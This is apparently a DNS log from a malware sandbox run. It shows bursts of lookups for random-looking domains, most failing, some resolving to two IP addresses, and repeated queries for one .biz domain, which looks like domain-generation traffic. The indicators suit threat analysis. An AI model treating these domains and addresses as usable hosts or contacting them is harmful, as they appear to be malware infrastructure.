Jan 5, 2025 10:50:09.191596031 CET	1.1.1.1	192.168.2.4	0xe468	Name error (3)	cqvwmraymjhmw.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:09.315342903 CET	1.1.1.1	192.168.2.4	0xb287	No error (0)	ecnygesclpcwo.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:09.377625942 CET	1.1.1.1	192.168.2.4	0xffc4	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:09.391093016 CET	1.1.1.1	192.168.2.4	0x7586	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:09.504053116 CET	1.1.1.1	192.168.2.4	0x2ce4	No error (0)	geqgu.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:09.632443905 CET	1.1.1.1	192.168.2.4	0xdeea	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:09.648550987 CET	1.1.1.1	192.168.2.4	0x556	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:09.784509897 CET	1.1.1.1	192.168.2.4	0xd25b	Name error (3)	owmir.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:09.826863050 CET	1.1.1.1	192.168.2.4	0x5339	Name error (3)	owmir.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:09.954776049 CET	1.1.1.1	192.168.2.4	0x5798	Name error (3)	uyhmsiswo.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:10.093346119 CET	1.1.1.1	192.168.2.4	0xdfcc	Name error (3)	uyhmsiswo.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:10.215334892 CET	1.1.1.1	192.168.2.4	0xd932	No error (0)	usasjvivqgsii.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:10.298727989 CET	1.1.1.1	192.168.2.4	0xbbd9	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:10.324805021 CET	1.1.1.1	192.168.2.4	0x2b66	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:11.383796930 CET	1.1.1.1	192.168.2.4	0xa863	Name error (3)	kaktcmu.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:11.507592916 CET	1.1.1.1	192.168.2.4	0xee12	Name error (3)	kaktcmu.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:11.711296082 CET	1.1.1.1	192.168.2.4	0x1850	Name error (3)	uijwvmkhcqvqs.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:11.838018894 CET	1.1.1.1	192.168.2.4	0xad8f	Name error (3)	uijwvmkhcqvqs.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:12.067301035 CET	1.1.1.1	192.168.2.4	0x2a03	Name error (3)	ccudqajgazo.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:12.180855036 CET	1.1.1.1	192.168.2.4	0x5d38	Name error (3)	ccudqajgazo.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:12.298558950 CET	1.1.1.1	192.168.2.4	0x78d	No error (0)	muiocbsvwmfkw.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:12.360131979 CET	1.1.1.1	192.168.2.4	0x51d5	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:12.435254097 CET	1.1.1.1	192.168.2.4	0x2620	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:12.845583916 CET	1.1.1.1	192.168.2.4	0xc519	Name error (3)	cgaawwkiqauys.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:12.962538004 CET	1.1.1.1	192.168.2.4	0x138e	Name error (3)	cgaawwkiqauys.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:13.269036055 CET	1.1.1.1	192.168.2.4	0x52ac	Name error (3)	eakecpgowbswiu.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:13.559508085 CET	1.1.1.1	192.168.2.4	0x86a7	Name error (3)	eakecpgowbswiu.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:13.689796925 CET	1.1.1.1	192.168.2.4	0x2636	Name error (3)	wsfiswi.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:13.825212002 CET	1.1.1.1	192.168.2.4	0xe07f	Name error (3)	wsfiswi.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:13.947545052 CET	1.1.1.1	192.168.2.4	0xf610	Name error (3)	ukegeqmmf.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:13.977262974 CET	1.1.1.1	192.168.2.4	0x8349	Name error (3)	ukegeqmmf.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:14.115462065 CET	1.1.1.1	192.168.2.4	0x7693	Name error (3)	ifsngrccqie.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:14.154201031 CET	1.1.1.1	192.168.2.4	0x7621	Name error (3)	ifsngrccqie.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:14.280869007 CET	1.1.1.1	192.168.2.4	0x7dd7	Name error (3)	yzgeeyowuwugkr.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:14.327227116 CET	1.1.1.1	192.168.2.4	0x31d	Name error (3)	yzgeeyowuwugkr.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:14.444638968 CET	1.1.1.1	192.168.2.4	0x7d2f	Name error (3)	pdijvoi.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:14.504566908 CET	1.1.1.1	192.168.2.4	0xb108	Name error (3)	pdijvoi.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:14.612958908 CET	1.1.1.1	192.168.2.4	0xd8fe	Name error (3)	qwiinm.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:14.651432991 CET	1.1.1.1	192.168.2.4	0xbeed	Name error (3)	qwiinm.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:14.802575111 CET	1.1.1.1	192.168.2.4	0x6fc7	Name error (3)	micycyca.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:15.083786011 CET	1.1.1.1	192.168.2.4	0x8981	Name error (3)	micycyca.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:15.257936001 CET	1.1.1.1	192.168.2.4	0x492b	Name error (3)	yvgismmxlhoqhp.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:15.304167032 CET	1.1.1.1	192.168.2.4	0xf3ab	Name error (3)	yvgismmxlhoqhp.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:15.410394907 CET	1.1.1.1	192.168.2.4	0xb21e	Name error (3)	agrgign.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:15.432358980 CET	1.1.1.1	192.168.2.4	0xd837	Name error (3)	agrgign.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:15.544131041 CET	1.1.1.1	192.168.2.4	0x12a5	Name error (3)	iilazc.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:15.567370892 CET	1.1.1.1	192.168.2.4	0x8dd4	Name error (3)	iilazc.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:15.758727074 CET	1.1.1.1	192.168.2.4	0xf08d	Name error (3)	hleyamhkjygwow.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:16.645356894 CET	1.1.1.1	192.168.2.4	0x7bb0	Name error (3)	hleyamhkjygwow.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:17.423651934 CET	1.1.1.1	192.168.2.4	0x21a0	Name error (3)	yqnsc.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:17.629057884 CET	1.1.1.1	192.168.2.4	0xf814	Name error (3)	yqnsc.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:17.869640112 CET	1.1.1.1	192.168.2.4	0x443e	Name error (3)	eskshcoo.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:17.980804920 CET	1.1.1.1	192.168.2.4	0xcbfd	Name error (3)	eskshcoo.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:18.095355034 CET	1.1.1.1	192.168.2.4	0x3fef	Name error (3)	eagamgnhivs.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:18.118577003 CET	1.1.1.1	192.168.2.4	0x7577	Name error (3)	eagamgnhivs.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:18.245474100 CET	1.1.1.1	192.168.2.4	0x2bc5	Name error (3)	smnam.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:18.531397104 CET	1.1.1.1	192.168.2.4	0x3490	Name error (3)	smnam.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:18.917953014 CET	1.1.1.1	192.168.2.4	0x3538	Name error (3)	gmsekkuoqcibq.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:18.972313881 CET	1.1.1.1	192.168.2.4	0x9977	Name error (3)	gmsekkuoqcibq.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:19.085081100 CET	1.1.1.1	192.168.2.4	0xd4c8	No error (0)	hebqkajxswlgc.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:19.205009937 CET	1.1.1.1	192.168.2.4	0x9d7d	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:19.228912115 CET	1.1.1.1	192.168.2.4	0x3931	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:19.331362963 CET	1.1.1.1	192.168.2.4	0x12aa	No error (0)	cqzpqvbhujvch.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:19.365268946 CET	1.1.1.1	192.168.2.4	0xfebe	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:19.374294043 CET	1.1.1.1	192.168.2.4	0x36de	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:19.501442909 CET	1.1.1.1	192.168.2.4	0x3cd1	Name error (3)	pmkswxeseyzkg.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:19.687414885 CET	1.1.1.1	192.168.2.4	0xa880	Name error (3)	pmkswxeseyzkg.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:19.883860111 CET	1.1.1.1	192.168.2.4	0x1599	Name error (3)	esfkk.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:20.117769957 CET	1.1.1.1	192.168.2.4	0x3747	Name error (3)	esfkk.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:20.220211029 CET	1.1.1.1	192.168.2.4	0xb974	No error (0)	bmtsikcbued.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:20.269282103 CET	1.1.1.1	192.168.2.4	0xccaf	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:20.298248053 CET	1.1.1.1	192.168.2.4	0x24ac	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:20.408315897 CET	1.1.1.1	192.168.2.4	0x9431	Name error (3)	dxfqrqrscyyiyb.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:20.428992987 CET	1.1.1.1	192.168.2.4	0x9dc7	Name error (3)	dxfqrqrscyyiyb.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:20.542465925 CET	1.1.1.1	192.168.2.4	0x4418	No error (0)	kerqxnda.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:20.620285034 CET	1.1.1.1	192.168.2.4	0x6aad	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:20.647357941 CET	1.1.1.1	192.168.2.4	0xcba7	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:20.775675058 CET	1.1.1.1	192.168.2.4	0xdcba	No error (0)	irqtakc.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:20.809135914 CET	1.1.1.1	192.168.2.4	0x4dc0	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:20.832391977 CET	1.1.1.1	192.168.2.4	0xa843	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:21.192979097 CET	1.1.1.1	192.168.2.4	0xf135	Name error (3)	dwsqu.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:21.255446911 CET	1.1.1.1	192.168.2.4	0xfd0c	Name error (3)	dwsqu.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:21.371644974 CET	1.1.1.1	192.168.2.4	0xde59	No error (0)	awgiouqsgbx.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:21.440280914 CET	1.1.1.1	192.168.2.4	0x1cc0	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:21.463068962 CET	1.1.1.1	192.168.2.4	0x9af9	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:21.788604021 CET	1.1.1.1	192.168.2.4	0x8221	Name error (3)	iqyjfsacgai.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:22.181391001 CET	1.1.1.1	192.168.2.4	0x1f17	Name error (3)	iqyjfsacgai.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:22.325500965 CET	1.1.1.1	192.168.2.4	0x9d6e	Name error (3)	ninsrqagoofw.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:22.412671089 CET	1.1.1.1	192.168.2.4	0x2702	Name error (3)	ninsrqagoofw.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:22.519254923 CET	1.1.1.1	192.168.2.4	0xad36	Name error (3)	ewzgffn.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:22.600574017 CET	1.1.1.1	192.168.2.4	0x3d05	Name error (3)	ewzgffn.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:22.712965012 CET	1.1.1.1	192.168.2.4	0x4725	No error (0)	yegupyquo.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:22.852971077 CET	1.1.1.1	192.168.2.4	0x69fd	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:22.868112087 CET	1.1.1.1	192.168.2.4	0x89dc	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:22.996820927 CET	1.1.1.1	192.168.2.4	0x9255	Name error (3)	yoycdsrsexo.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:23.268476963 CET	1.1.1.1	192.168.2.4	0x1395	Name error (3)	yoycdsrsexo.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:23.379542112 CET	1.1.1.1	192.168.2.4	0xc10f	Name error (3)	cwkzvvi.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:23.402242899 CET	1.1.1.1	192.168.2.4	0xb2f2	Name error (3)	cwkzvvi.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:23.526842117 CET	1.1.1.1	192.168.2.4	0xb00e	Name error (3)	wsulwboaggoyw.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:23.565562010 CET	1.1.1.1	192.168.2.4	0x45b9	Name error (3)	wsulwboaggoyw.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:23.845124960 CET	1.1.1.1	192.168.2.4	0x604	Name error (3)	fbcze.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:24.037673950 CET	1.1.1.1	192.168.2.4	0xf11f	Name error (3)	fbcze.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:24.189349890 CET	1.1.1.1	192.168.2.4	0xbc06	Name error (3)	mehyfoi.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:24.213331938 CET	1.1.1.1	192.168.2.4	0xb040	Name error (3)	mehyfoi.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:24.317559004 CET	1.1.1.1	192.168.2.4	0xb566	Name error (3)	lkmekklwg.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:24.346826077 CET	1.1.1.1	192.168.2.4	0x722b	Name error (3)	lkmekklwg.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:24.488095999 CET	1.1.1.1	192.168.2.4	0xbc24	Name error (3)	sugzfsbm.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:24.515033007 CET	1.1.1.1	192.168.2.4	0x1e9	Name error (3)	sugzfsbm.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:24.646230936 CET	1.1.1.1	192.168.2.4	0x25b0	Name error (3)	awjmaojcpsttf.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:24.710560083 CET	1.1.1.1	192.168.2.4	0xe9c7	Name error (3)	awjmaojcpsttf.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:24.850646973 CET	1.1.1.1	192.168.2.4	0x723	No error (0)	nkpqerkwk.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:24.934428930 CET	1.1.1.1	192.168.2.4	0xd993	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:24.945209980 CET	1.1.1.1	192.168.2.4	0xd983	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:25.061352015 CET	1.1.1.1	192.168.2.4	0xab91	Name error (3)	koccoscgsca.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:25.127454996 CET	1.1.1.1	192.168.2.4	0xcabc	Name error (3)	koccoscgsca.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:25.219533920 CET	1.1.1.1	192.168.2.4	0xc8b7	Name error (3)	oembqeydq.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:25.247416973 CET	1.1.1.1	192.168.2.4	0x158d	Name error (3)	oembqeydq.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:25.346515894 CET	1.1.1.1	192.168.2.4	0xb420	Name error (3)	uowug.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:25.380748987 CET	1.1.1.1	192.168.2.4	0xaadc	Name error (3)	uowug.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:25.516812086 CET	1.1.1.1	192.168.2.4	0xdd96	Name error (3)	yqmnjuoaw.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:25.778306961 CET	1.1.1.1	192.168.2.4	0x7056	Name error (3)	yqmnjuoaw.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:25.915764093 CET	1.1.1.1	192.168.2.4	0x16ed	Name error (3)	ycuqhkgkviqkq.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:25.966130018 CET	1.1.1.1	192.168.2.4	0xb3f2	Name error (3)	ycuqhkgkviqkq.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:26.079963923 CET	1.1.1.1	192.168.2.4	0xde05	Name error (3)	twksqismr.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:26.116998911 CET	1.1.1.1	192.168.2.4	0xdb0	Name error (3)	twksqismr.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:26.243942022 CET	1.1.1.1	192.168.2.4	0x1f84	Name error (3)	mueir.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:26.263180017 CET	1.1.1.1	192.168.2.4	0xb6c0	Name error (3)	mueir.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:26.395469904 CET	1.1.1.1	192.168.2.4	0xf195	Name error (3)	kmfrdtsdsky.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:26.451565981 CET	1.1.1.1	192.168.2.4	0xcac1	Name error (3)	kmfrdtsdsky.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:26.669362068 CET	1.1.1.1	192.168.2.4	0x84c	Name error (3)	secysubos.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:26.830851078 CET	1.1.1.1	192.168.2.4	0x68fc	Name error (3)	secysubos.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:26.924978971 CET	1.1.1.1	192.168.2.4	0xb575	Name error (3)	ipwpkubamvqgh.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:26.957372904 CET	1.1.1.1	192.168.2.4	0x2e48	Name error (3)	ipwpkubamvqgh.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:27.057825089 CET	1.1.1.1	192.168.2.4	0x8669	No error (0)	iafbgsajgk.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:27.077301979 CET	1.1.1.1	192.168.2.4	0x3909	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:27.113307953 CET	1.1.1.1	192.168.2.4	0xc0a9	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:28.098488092 CET	1.1.1.1	192.168.2.4	0xd4f9	Name error (3)	zuucswx.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:28.208379984 CET	1.1.1.1	192.168.2.4	0xafd8	Name error (3)	zuucswx.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:28.298221111 CET	1.1.1.1	192.168.2.4	0xabb3	No error (0)	dqkgwsywg.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:28.369740009 CET	1.1.1.1	192.168.2.4	0xf44f	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:28.384352922 CET	1.1.1.1	192.168.2.4	0xfc35	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:28.569924116 CET	1.1.1.1	192.168.2.4	0x5caa	Name error (3)	wkwkymaiq.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:28.611193895 CET	1.1.1.1	192.168.2.4	0x17c4	Name error (3)	wkwkymaiq.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:28.716861963 CET	1.1.1.1	192.168.2.4	0x325e	No error (0)	gagqvjmqsqcv.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:28.832706928 CET	1.1.1.1	192.168.2.4	0x69c2	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:28.854435921 CET	1.1.1.1	192.168.2.4	0x8534	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:28.954211950 CET	1.1.1.1	192.168.2.4	0x78e8	Name error (3)	iobdeex.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:28.972553968 CET	1.1.1.1	192.168.2.4	0xcb54	Name error (3)	iobdeex.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:29.175247908 CET	1.1.1.1	192.168.2.4	0xe737	Name error (3)	cqsirosqhjosvg.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:30.067707062 CET	1.1.1.1	192.168.2.4	0x9	Name error (3)	cqsirosqhjosvg.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:30.184050083 CET	1.1.1.1	192.168.2.4	0xc0aa	No error (0)	hcwsgokfm.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:30.261372089 CET	1.1.1.1	192.168.2.4	0xdbf9	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:30.294619083 CET	1.1.1.1	192.168.2.4	0x9f62	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:30.399986029 CET	1.1.1.1	192.168.2.4	0xdbc1	Name error (3)	oeutebxns.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:30.454400063 CET	1.1.1.1	192.168.2.4	0xa7ee	Name error (3)	oeutebxns.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:30.563579082 CET	1.1.1.1	192.168.2.4	0x3343	Name error (3)	ssgcl.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:30.613470078 CET	1.1.1.1	192.168.2.4	0x7b5a	Name error (3)	ssgcl.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:30.720302105 CET	1.1.1.1	192.168.2.4	0xa86	Name error (3)	mugguqyebm.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:30.752511978 CET	1.1.1.1	192.168.2.4	0xaaec	Name error (3)	mugguqyebm.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:30.846668005 CET	1.1.1.1	192.168.2.4	0x8fc3	Name error (3)	wsczmii.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:30.873492002 CET	1.1.1.1	192.168.2.4	0x816f	Name error (3)	wsczmii.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:30.972202063 CET	1.1.1.1	192.168.2.4	0x3cef	Name error (3)	blryaicmkgbqv.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:31.042427063 CET	1.1.1.1	192.168.2.4	0x71b5	Name error (3)	blryaicmkgbqv.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:31.254719019 CET	1.1.1.1	192.168.2.4	0x741a	Name error (3)	yauggggfuadmk.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:31.361839056 CET	1.1.1.1	192.168.2.4	0x8109	Name error (3)	yauggggfuadmk.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:31.469496012 CET	1.1.1.1	192.168.2.4	0x8e27	Name error (3)	bqfzp.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:31.491112947 CET	1.1.1.1	192.168.2.4	0x90ea	Name error (3)	bqfzp.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:31.587632895 CET	1.1.1.1	192.168.2.4	0x6a05	No error (0)	imyoeiuwedy.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:31.610681057 CET	1.1.1.1	192.168.2.4	0x594a	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:31.644566059 CET	1.1.1.1	192.168.2.4	0x1693	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:31.829384089 CET	1.1.1.1	192.168.2.4	0xf186	Name error (3)	qgqhvwukptzi.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:31.859750032 CET	1.1.1.1	192.168.2.4	0x1558	Name error (3)	qgqhvwukptzi.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:32.087119102 CET	1.1.1.1	192.168.2.4	0x720	Name error (3)	kissyuj.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:32.138576984 CET	1.1.1.1	192.168.2.4	0x35a3	Name error (3)	kissyuj.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:32.411506891 CET	1.1.1.1	192.168.2.4	0x6e98	No error (0)	kqmiwxg.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:32.436563015 CET	1.1.1.1	192.168.2.4	0x3354	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:32.478595018 CET	1.1.1.1	192.168.2.4	0xce67	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
